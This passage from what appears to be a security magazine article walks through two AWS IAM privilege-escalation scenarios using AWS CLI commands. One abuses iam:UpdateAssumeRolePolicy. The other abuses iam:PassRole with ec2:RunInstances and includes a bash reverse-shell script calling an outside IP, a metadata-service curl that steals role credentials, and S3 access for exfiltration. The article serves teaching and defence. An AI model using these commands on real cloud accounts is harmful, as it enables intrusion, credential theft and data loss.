« Previous 1 2 3 4 Next »
Exploiting, detecting, and correcting IAM security misconfigurations
Bad Actor
Scenario 2: Updating AssumeRolePolicyDocument
In this scenario, an attacker is able to get valid AWS credentials to log in to the account by phishing an internal user [7]. The compromised user has misconfigured attached IAM policies, which lets the attacker edit the AssumeRolePolicyDocument
of any existing role, which could range from minimal privileges to full control over Elastic Compute Clouds (EC2s) inside the account (Figure 5).
In this case, the compromised user is operator :
$ aws sts get-caller-identity { "UserId": "AIDA2PVZZYWS3MXZKDH66", "Account": "7208<acct>", "Arn": "arn:aws:iam::<ARN-TARGET>:user/operator" }
The next step is to fish around to see whether the user is part of any groups. In this case, the user is found to be part of the devOps group:
$ aws iam list-groups-for-user --user-name operator { "Groups": [ { "Path": "/", "GroupName": "devOps", ... } ] }
During the information gathering phase, the attacker checks the attached policies,
$ aws iam list-attached-group-policies --group-name devOps
and can see just one policy, AssumeRole
, which looks interesting (Figure 6). The assumeRole
policy attached to the group allows a user to assume all the roles (Figure 7):
$ aws iam get-policy-version --policy-arn arn:aws:iam::<ARN-TARGET>:policy/assumeRole --version-id v1
Checking inline policies, the compromised user also has IAM_Policy
:
$ aws iam list-user-policies --user-name operator { "PolicyNames": [ "IAM_Policy" ] }
Understandably, the IAM permission is either misconfigured or just a permission that was granted for a specific task and not removed afterward.
Checking the actions contained in the policy,
$ aws iam get-user-policy --policy-name IAM_policy --user-name operator
you can see the attached iam:UpdateAssumeRolePolicy
(Figure 8).
With the discovered IAM permission, the user is able to:
- edit the role they can assume and
- elevate its privileges inside the account.
The command
$ aws iam update-assume-role-policy --role-name dev-EC2Full --policy-document file://privesc.json
easily escalates the privileges. In the privesc.json
file used in the command, the attacker added user ARN
to the dev-EC2Full
role trust policy:
{ "Version": "2012-10-17", "Statement": [ { "Effect": "Allow", "Principal": { "AWS": "arn:aws:iam::<ARN-TARGET>:user/operator" }, "Action": "sts:AssumeRole" } ] }
The attacker can now proceed, impersonating the new role with assume-role
,
$ aws sts assume-role --role-arn "arn:aws:iam::<ARN-TARGET>:role/dev-EC2Full" --role-session-name AWSCLI-Session
which returns the temporary security credentials that can be used to access the cloud environment with the new role (Figure 9).
Surprise!?
By importing the new keys obtained locally and checking the currently logged-in user,
$ aws sts get-caller-identity
the attacker successfully escalated the privileges inside the environment (Figure 10). Of course, the information could be used to access all the policies, including AWS managed policies.
The attacker would now have full privileges over EC2s, with the chance to spawn instances.
In this real-world scenario, a user with a misconfigured iam:UpdateAssumeRolePolicy
privilege could lead an attacker to full control over EC2 instances inside the cloud account. For an attacker, that means the chance to create new instances, destroy what is already in place, or both, causing serious damage to the company.
Scenario 3: Creating EC2 Instances and Passing the Role
In this scenario, you can see how the combination of IAM and EC2 privileges could lead to an attacker escalating account privileges from zero to hero. The attacker is able to get valid AWS credentials from a spare phishing attack from a compromised cloud user that has the permissions to run EC2 instances, as well as the ability to pass roles.
With those privileges, the adversary is able to escalate the privileges inside the account, run an EC2 instance, and exfiltrate information stored in a Simple Storage Service (S3) bucket (Figure 11).
The compromised user is part of a group called devOps :
$ aws iam list-groups-for-user --user-name operator { "Groups": [ { "GroupName": "devOps", ... } ] }
Checking the permissions attached to the group, you can see two attached policies: dev-Ops and ReadOnlyAccess :
$ aws iam list-attached-group-policies --group-name devOps { "AttachedPolicies": [ { "PolicyName": "dev-Ops", ... }, { "PolicyName": "ReadOnlyAccess", ... } ] }
Focusing on the dev-Ops
policy,
$ aws iam get-policy-version --policy-arn arn:aws:iam::<ARN-TARGET>:policy/dev-Ops --version-id v1
you can see it has the iam:PassRole
and ec2:RunInstances
permissions attached (Figure 12). The combination of these two privileges could let the misconfigured user create a new EC2 instance. Not only that, they will have operating system access to which they can pass an existing EC2 instance profile or service role.
The run-instances
command
$ aws ec2 run-instances --image-id ami-a4dc46db --instance-type t2.micro --iam-instance-profile Name="devOps-S3Full" --user-data file://revshell.sh
lets the user run a new instance along with other information gathered in the account. Note that it's possible to pass --iam-instance-profile
directly during instance creation without having further permissions.
Looking through the available roles in the cloud account, the devOps-S3Full
role looks interesting and Figure 13 can be used by the EC2 services.
The revshell.sh
script file opens a bash reverse shell [8] one way or another:
#!/bin/bash bash -i >& /dev/tcp/107.21.43.88/443 0>&1
Note that to create the instance, the attacker doesn't require any SSH keys or a security group.
Once the machine is launched, the script is executed and the attacker is able to get a running shell on the machine with the root user (Figure 14). In this way, the attacker has full control over the machine to execute whatever they want.
As you have seen before when using the PassRole
privilege, the user can pass whatever permission they want to the created machine. In this case, the attacker passes the FullS3bucket
access to the instance and the curl command:
$ curl http://169.254.169.254/l2021-07-15/meta-data/identity-credentials/ec2/security-credentials/ec2-instance
let the user extract the temporary credentials related to the role passed to the ec2 instance (Figure 15). As seen before, the attacker can import the temporary credentials and use them to log in to the cloud account with the role associated with the EC2 created before:
$ aws sts get-caller-identity { "UserId": "<UserID>:<InstanceID>", "Account": "7208<accountID>", "Arn": "arn:aws:sts::7208<ARN-TARGET>:assumed-role/devOps-S3Full/<InstanceID>" }
Once logged in, the adversary now has full control over the S3 bucket, with the chance to exfiltrate sensible information or destroy all the files found on the available bucket:
aws s3 ls
In this case, the attacker found interesting buckets containing credentials and other information related to the Kubernetes environment (Figure 16). Deleting those files might cause serious damage to the running environment.
In this attack scenario, you have seen how an attacker with a combination of two security misconfigurations was able to access the set of permissions that the instance profile and role has, which could range from no privilege escalation to full administrator access of the AWS account.
« Previous 1 2 3 4 Next »
Buy this article as PDF
(incl. VAT)